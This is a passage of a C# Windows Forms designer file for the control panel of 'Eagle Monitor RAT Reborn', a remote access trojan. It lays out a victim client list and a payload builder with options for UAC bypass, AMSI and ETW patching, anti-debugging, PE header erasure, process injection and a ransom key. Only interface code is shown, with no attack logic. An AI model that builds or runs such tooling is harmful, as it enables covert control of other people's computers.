Guna.UI2.WinForms.Guna2TextBox(); this.label8 = new System.Windows.Forms.Label(); this.trademarksGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.label7 = new System.Windows.Forms.Label(); this.label14 = new System.Windows.Forms.Label(); this.tabPage13 = new System.Windows.Forms.TabPage(); this.guna2GroupBox3 = new Guna.UI2.WinForms.Guna2GroupBox(); this.bypassICMLuaUtilGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.antiDebugGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.erasePEHeadersGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.patchAMSIGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.patchETWGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.label4 = new System.Windows.Forms.Label(); this.tabPage9 = new System.Windows.Forms.TabPage(); this.buildLogsGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.buildGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tosLicenseGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.label16 = new System.Windows.Forms.Label(); this.tabPage3 = new System.Windows.Forms.TabPage(); this.guna2Panel2 = new Guna.UI2.WinForms.Guna2Panel(); this.guna2VScrollBar2 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.logsDataGridView = new System.Windows.Forms.DataGridView(); this.Column11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column17 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.tabPage4 = new System.Windows.Forms.TabPage(); this.guna2Panel3 = new Guna.UI2.WinForms.Guna2Panel(); this.updateLogRichTextBox = new System.Windows.Forms.RichTextBox(); this.tabPage5 = new System.Windows.Forms.TabPage(); this.guna2Panel4 = new Guna.UI2.WinForms.Guna2Panel(); this.label22 = new System.Windows.Forms.Label(); this.notificationIconGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.ransomKeyGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.label18 = new System.Windows.Forms.Label(); this.bufferSizeGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.autoRemoveDownloadGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.processInjectionGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.label17 = new System.Windows.Forms.Label(); this.autoSaveRecoveryGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.flagsPackGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.label1 = new System.Windows.Forms.Label(); this.keyGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.notificationSoundGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.guna2GroupBox1 = new Guna.UI2.WinForms.Guna2GroupBox(); this.portListView = new System.Windows.Forms.ListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.portContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.portRemoveStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.addToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tabPage10 = new System.Windows.Forms.TabPage(); this.label23 = new System.Windows.Forms.Label(); this.onConnectGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage11 = new System.Windows.Forms.TabPage(); this.guna2VScrollBar3 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tasksDataGridView = new System.Windows.Forms.DataGridView(); this.Column20 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column21 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.tabPage12 = new System.Windows.Forms.TabPage(); this.addTaskGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tasksGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.closeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.maximizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.minimizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.panel1 = new System.Windows.Forms.Panel(); this.guna2Panel5 = new Guna.UI2.WinForms.Guna2Panel(); this.githubPictureBox = new System.Windows.Forms.PictureBox(); this.portLabel = new System.Windows.Forms.Label(); this.versionLabel = new System.Windows.Forms.Label(); this.logoPictureBox = new System.Windows.Forms.PictureBox(); this.patchToolTip = new System.Windows.Forms.ToolTip(this.components); this.totalClientLabel = new System.Windows.Forms.Label(); this.mainGuna2TabControl.SuspendLayout(); this.tabPage1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.clientDataGridView)).BeginInit(); this.mainContextMenuStrip.SuspendLayout(); this.clientContextMenuStrip.SuspendLayout(); this.tabPage2.SuspendLayout(); this.guna2Panel1.SuspendLayout(); this.builderGuna2TabControl.SuspendLayout(); this.tabPage6.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.hostsDataGridView)).BeginInit(); this.hostContextMenuStrip.SuspendLayout(); this.tabPage7.SuspendLayout(); this.tabPage8.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.tabPage13.SuspendLayout(); this.guna2GroupBox3.SuspendLayout(); this.tabPage9.SuspendLayout(); this.tabPage3.SuspendLayout(); this.guna2Panel2.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.logsDataGridView)).BeginInit(); this.tabPage4.SuspendLayout(); this.guna2Panel3.SuspendLayout(); this.tabPage5.SuspendLayout(); this.guna2Panel4.SuspendLayout(); this.guna2GroupBox1.SuspendLayout(); this.portContextMenuStrip.SuspendLayout(); this.tabPage10.SuspendLayout(); this.onConnectGuna2TabControl.SuspendLayout(); this.tabPage11.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.tasksDataGridView)).BeginInit(); this.tabPage12.SuspendLayout(); this.panel1.SuspendLayout(); this.guna2Panel5.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.githubPictureBox)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit(); this.SuspendLayout(); // // mainGuna2TabControl // this.mainGuna2TabControl.Alignment = System.Windows.Forms.TabAlignment.Right; this.mainGuna2TabControl.Controls.Add(this.tabPage1); this.mainGuna2TabControl.Controls.Add(this.tabPage2); this.mainGuna2TabControl.Controls.Add(this.tabPage3); this.mainGuna2TabControl.Controls.Add(this.tabPage4); this.mainGuna2TabControl.Controls.Add(this.tabPage5); this.mainGuna2TabControl.Controls.Add(this.tabPage10); this.mainGuna2TabControl.ItemSize = new System.Drawing.Size(186, 40); this.mainGuna2TabControl.Location = new System.Drawing.Point(2, 32); this.mainGuna2TabControl.Name = "mainGuna2TabControl"; this.mainGuna2TabControl.SelectedIndex = 0; this.mainGuna2TabControl.Size = new System.Drawing.Size(1102, 410); this.mainGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.mainGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.mainGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.mainGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.mainGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.mainGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.mainGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.mainGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.mainGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.mainGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.mainGuna2TabControl.TabButtonImageAlign = System.Windows.Forms.HorizontalAlignment.Left; this.mainGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.mainGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.mainGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.mainGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.mainGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.mainGuna2TabControl.TabButtonSize = new System.Drawing.Size(186, 40); this.mainGuna2TabControl.TabIndex = 0; this.mainGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.mainGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.VerticalRight; // // tabPage1 // this.tabPage1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage1.Controls.Add(this.guna2VScrollBar1); this.tabPage1.Controls.Add(this.clientDataGridView); this.tabPage1.Location = new System.Drawing.Point(4, 4); this.tabPage1.Name = "tabPage1"; this.tabPage1.Size = new System.Drawing.Size(908, 402); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Clients"; // // guna2VScrollBar1 // this.guna2VScrollBar1.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar1.FillColor = System.Drawing.Color.White; this.guna2VScrollBar1.InUpdate = false; this.guna2VScrollBar1.LargeChange = 10; this.guna2VScrollBar1.Location = new System.Drawing.Point(890, 0); this.guna2VScrollBar1.Name = "guna2VScrollBar1"; this.guna2VScrollBar1.ScrollbarSize = 18; this.guna2VScrollBar1.Size = new System.Drawing.Size(18, 402); this.guna2VScrollBar1.TabIndex = 8; this.guna2VScrollBar1.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // clientDataGridView // this.clientDataGridView.AllowUserToAddRows = false; this.clientDataGridView.AllowUserToDeleteRows = false; this.clientDataGridView.AllowUserToResizeColumns = false; this.clientDataGridView.AllowUserToResizeRows = false; this.clientDataGridView.BackgroundColor = System.Drawing.Color.White; this.clientDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.clientDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.clientDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle25.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle25.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle25.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle25.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle25.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle25.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle25.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.clientDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle25; this.clientDataGridView.ColumnHeadersHeight = 36; this.clientDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column1, this.Column2, this.Column3, this.Column4, this.Column5, this.Column6, this.Column7, this.Column8, this.Column9, this.Column10}); this.clientDataGridView.ContextMenuStrip = this.mainContextMenuStrip; this.clientDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.clientDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.clientDataGridView.EnableHeadersVisualStyles = false; this.clientDataGridView.GridColor = System.Drawing.Color.White; this.clientDataGridView.Location = new System.Drawing.Point(0, 0); this.clientDataGridView.Name = "clientDataGridView"; this.clientDataGridView.ReadOnly = true; this.clientDataGridView.RowHeadersVisible = false; dataGridViewCellStyle29.BackColor = System.Drawing.Color.White; dataGridViewCellStyle29.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); dataGridViewCellStyle29.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle29.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); this.clientDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle29; this.clientDataGridView.RowTemplate.Height = 26; this.clientDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.clientDataGridView.Size = new System.Drawing.Size(908, 402); this.clientDataGridView.TabIndex = 5; this.clientDataGridView.TabStop = false; this.clientDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.dataGridView1_MouseUp); // // Column1 // this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle26.BackColor = System.Drawing.Color.White; dataGridViewCellStyle26.ForeColor = System.Drawing.Color.White; dataGridViewCellStyle26.NullValue = null; dataGridViewCellStyle26.Padding = new System.Windows.Forms.Padding(15, 2, 2, 2); this.Column1.DefaultCellStyle = dataGridViewCellStyle26; this.Column1.FillWeight = 12F; this.Column1.HeaderText = "Country"; this.Column1.Name = "Column1"; this.Column1.ReadOnly = true; this.Column1.Resizable = System.Windows.Forms.DataGridViewTriState.False; // // Column2 // this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle27.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column2.DefaultCellStyle = dataGridViewCellStyle27; this.Column2.FillWeight = 25F; this.Column2.HeaderText = "HWID"; this.Column2.Name = "Column2"; this.Column2.ReadOnly = true; this.Column2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column3 // this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle28.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column3.DefaultCellStyle = dataGridViewCellStyle28; this.Column3.FillWeight = 18F; this.Column3.HeaderText = "IP"; this.Column3.Name = "Column3"; this.Column3.ReadOnly = true; this.Column3.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column4 // this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column4.FillWeight = 25F; this.Column4.HeaderText = "OS"; this.Column4.Name = "Column4"; this.Column4.ReadOnly = true; this.Column4.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column5 // this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column5.FillWeight = 20F; this.Column5.HeaderText = "Username"; this.Column5.Name = "Column5"; this.Column5.ReadOnly = true; this.Column5.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column6 // this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column6.FillWeight = 20F; this.Column6.HeaderText = "RAM"; this.Column6.Name = "Column6"; this.Column6.ReadOnly = true; this.Column6.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column7 // this.Column7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column7.FillWeight = 20F; this.Column7.HeaderText = "Region"; this.Column7.Name = "Column7"; this.Column7.ReadOnly = true; // // Column8 // this.Column8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column8.FillWeight = 20F; this.Column8.HeaderText = "Privilege"; this.Column8.Name = "Column8"; this.Column8.ReadOnly = true; // // Column9 // this.Column9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column9.FillWeight = 15F; this.Column9.HeaderText = "32/64 bits"; this.Column9.Name = "Column9"; this.Column9.ReadOnly = true; // // Column10 // this.Column10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column10.FillWeight = 15F; this.Column10.HeaderText = "Port"; this.Column10.Name = "Column10"; this.Column10.ReadOnly = true; // // mainContextMenuStrip // this.mainContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.mainContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.loginToolStripMenuItem, this.clientToolStripMenuItem, this.aboutToolStripMenuItem}); this.mainContextMenuStrip.Name = "clientContextMenuStrip"; this.mainContextMenuStrip.Size = new System.Drawing.Size(120, 106); // // loginToolStripMenuItem // this.loginToolStripMenuItem.BackColor = System.Drawing.Color.White; this.loginToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.loginToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.login_32px; this.loginToolStripMenuItem.Name = "loginToolStripMenuItem"; this.loginToolStripMenuItem.Size = new System.Drawing.Size(119, 34); this.loginToolStripMenuItem.Text = "Login"; this.loginToolStripMenuItem.Click += new System.EventHandler(this.loginToolStripMenuItem_Click); // // clientToolStripMenuItem // this.clientToolStripMenuItem.BackColor = System.Drawing.Color.White; this.clientToolStripMenuItem.DropDown = this.clientContextMenuStrip; this.clientToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.clientToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.user_32px; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; this.clientToolStripMenuItem.Size = new System.Drawing.Size(119, 34); this.clientToolStripMenuItem.Text = "Client"; // // clientContextMenuStrip // this.clientContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.clientContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.closeToolStripMenuItem, this.closeUninstallToolStripMenuItem, this.test123ToolStripMenuItem, this.test456ToolStripMenuItem}); this.clientContextMenuStrip.Name = "clientContextMenuStrip"; this.clientContextMenuStrip.OwnerItem = this.clientToolStripMenuItem; this.clientContextMenuStrip.Size = new System.Drawing.Size(176, 140); // // closeToolStripMenuItem // this.closeToolStripMenuItem.BackColor = System.Drawing.Color.White; this.closeToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.closeToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.broken_link_32px; this.closeToolStripMenuItem.Name = "closeToolStripMenuItem"; this.closeToolStripMenuItem.Size = new System.Drawing.Size(175, 34); this.closeToolStripMenuItem.Text = "Close"; this.closeToolStripMenuItem.Click += new System.EventHandler(this.closeToolStripMenuItem_Click); // // closeUninstallToolStripMenuItem // this.closeUninstallToolStripMenuItem.BackColor = System.Drawing.Color.White; this.closeUninstallToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.closeUninstallToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.uninstall_programs_32px; this.closeUninstallToolStripMenuItem.Name = "closeUninstallToolStripMenuItem"; this.closeUninstallToolStripMenuItem.Size = new System.Drawing.Size(175, 34); this.closeUninstallToolStripMenuItem.Text = "Close + Uninstall"; this.closeUninstallToolStripMenuItem.Click += new System.EventHandler(this.closeUninstallToolStripMenuItem_Click); // // test123ToolStripMenuItem // this.test123ToolStripMenuItem.Name = "test123ToolStripMenuItem"; this.test123ToolStripMenuItem.Size = new System.Drawing.Size(175, 34); this.test123ToolStripMenuItem.Text = "Test123"; this.test123ToolStripMenuItem.Visible = false; this.test123ToolStripMenuItem.Click += new System.EventHandler(this.test123ToolStripMenuItem_Click); // // test456ToolStripMenuItem // this.test456ToolStripMenuItem.Name = "test456ToolStripMenuItem"; this.test456ToolStripMenuItem.Size = new System.Drawing.Size(175, 34); this.test456ToolStripMenuItem.Text = "Test456"; this.test456ToolStripMenuItem.Visible = false; this.test456ToolStripMenuItem.Click += new System.EventHandler(this.test456ToolStripMenuItem_Click); // // aboutToolStripMenuItem // this.aboutToolStripMenuItem.BackColor = System.Drawing.Color.White; this.aboutToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.aboutToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.icons8_information_32; this.aboutToolStripMenuItem.Name = "aboutToolStripMenuItem"; this.aboutToolStripMenuItem.Size = new System.Drawing.Size(119, 34); this.aboutToolStripMenuItem.Text = "About"; this.aboutToolStripMenuItem.Click += new System.EventHandler(this.aboutToolStripMenuItem_Click); // // tabPage2 // this.tabPage2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.tabPage2.Controls.Add(this.guna2Panel1); this.tabPage2.Location = new System.Drawing.Point(4, 4); this.tabPage2.Margin = new System.Windows.Forms.Padding(0); this.tabPage2.Name = "tabPage2"; this.tabPage2.Size = new System.Drawing.Size(908, 443); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "Builder"; // // guna2Panel1 // this.guna2Panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2Panel1.Controls.Add(this.builderGuna2TabControl); this.guna2Panel1.Dock = System.Windows.Forms.DockStyle.Fill; this.guna2Panel1.Location = new System.Drawing.Point(0, 0); this.guna2Panel1.Name = "guna2Panel1"; this.guna2Panel1.Size = new System.Drawing.Size(908, 443); this.guna2Panel1.TabIndex = 0; // // builderGuna2TabControl // this.builderGuna2TabControl.Controls.Add(this.tabPage6); this.builderGuna2TabControl.Controls.Add(this.tabPage7); this.builderGuna2TabControl.Controls.Add(this.tabPage8); this.builderGuna2TabControl.Controls.Add(this.tabPage13); this.builderGuna2TabControl.Controls.Add(this.tabPage9); this.builderGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.builderGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.builderGuna2TabControl.Location = new System.Drawing.Point(0, 0); this.builderGuna2TabControl.Name = "builderGuna2TabControl"; this.builderGuna2TabControl.SelectedIndex = 0; this.builderGuna2TabControl.Size = new System.Drawing.Size(908, 443); this.builderGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.builderGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.builderGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.builderGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.builderGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.builderGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.builderGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.builderGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.builderGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.builderGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.builderGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.builderGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.builderGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.builderGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.builderGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.builderGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.builderGuna2TabControl.TabIndex = 15; this.builderGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.builderGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage6 // this.tabPage6.BackColor = System.Drawing.Color.White; this.tabPage6.Controls.Add(this.addHostGuna2Button); this.tabPage6.Controls.Add(this.hostsDataGridView); this.tabPage6.Controls.Add(this.label5); this.tabPage6.Controls.Add(this.builderKeyGuna2TextBox); this.tabPage6.Controls.Add(this.label2); this.tabPage6.Controls.Add(this.portGuna2TextBox); this.tabPage6.Controls.Add(this.label3); this.tabPage6.Controls.Add(this.dnsGuna2TextBox); this.tabPage6.Location = new System.Drawing.Point(4, 44); this.tabPage6.Name = "tabPage6"; this.tabPage6.Size = new System.Drawing.Size(900, 395); this.tabPage6.TabIndex = 0; this.tabPage6.Text = "Network"; // // addHostGuna2Button // this.addHostGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.addHostGuna2Button.Animated = true; this.addHostGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.addHostGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.addHostGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.addHostGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.addHostGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.addHostGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.addHostGuna2Button.ForeColor = System.Drawing.Color.White; this.addHostGuna2Button.Location = new System.Drawing.Point(63, 153); this.addHostGuna2Button.Name = "addHostGuna2Button"; this.addHostGuna2Button.Size = new System.Drawing.Size(762, 30); this.addHostGuna2Button.TabIndex = 35; this.addHostGuna2Button.Text = "Add host"; this.addHostGuna2Button.Click += new System.EventHandler(this.addHostGuna2Button_Click); // // hostsDataGridView // this.hostsDataGridView.AllowUserToAddRows = false; this.hostsDataGridView.AllowUserToDeleteRows = false; this.hostsDataGridView.AllowUserToResizeColumns = false; this.hostsDataGridView.AllowUserToResizeRows = false; this.hostsDataGridView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.hostsDataGridView.BackgroundColor = System.Drawing.Color.White; this.hostsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.hostsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.hostsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle15.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle15.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle15.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle15.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle15.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle15.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle15.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.hostsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle15; this.hostsDataGridView.ColumnHeadersHeight = 36; this.hostsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column22, this.Column23}); this.hostsDataGridView.ContextMenuStrip = this.hostContextMenuStrip; this.hostsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; 